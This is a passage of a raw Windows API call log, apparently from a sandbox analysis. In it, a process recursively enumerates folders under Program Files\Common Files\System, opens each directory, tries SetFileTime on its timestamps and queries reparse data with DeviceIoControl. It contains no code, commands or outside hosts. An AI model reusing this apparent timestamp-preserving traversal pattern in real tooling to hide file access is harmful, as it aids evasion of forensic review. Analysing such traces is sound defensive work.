ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0055.468] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0055.468] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0055.468] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0055.469] GetLastError () returned 0x12 [0055.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3960) returned 1 [0055.469] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0055.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.469] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0055.469] GetLastError () returned 0x12 [0055.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.469] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.469] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 0 [0055.469] GetLastError () returned 0x12 [0055.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.469] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3f50) returned 1 [0055.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0055.469] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0055.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0055.469] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System" (normalized: "c:\\program files\\common files\\system"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System" (normalized: "c:\\program files\\common files\\system"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.471] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0055.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.471] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0055.471] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.471] NtClose (Handle=0x134) returned 0x0 [0055.471] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0055.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0055.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3f50 [0055.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.471] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459bb8 [0055.472] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.472] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0055.472] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0055.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.472] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.473] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.473] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.473] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.473] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0055.473] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0055.473] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="")) returned 1 [0055.473] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0055.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.473] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.473] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.473] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.473] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0055.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.473] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.473] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.473] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.473] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0055.474] GetLastError () returned 0x12 [0055.474] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c78 [0055.474] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.474] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.474] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0055.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.474] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado" (normalized: "c:\\program files\\common files\\system\\ado"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado" (normalized: "c:\\program files\\common files\\system\\ado"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.474] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.474] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.474] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.475] NtClose (Handle=0x134) returned 0x0 [0055.475] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.475] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459bb8 [0055.476] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.476] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0055.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.476] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.476] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04fc0 [0055.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3960 [0055.476] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.477] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0055.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.477] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.477] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04fe0 [0055.477] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.477] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0055.477] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0055.477] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0055.477] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0055.477] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0055.477] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0055.477] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0055.477] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0055.477] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, 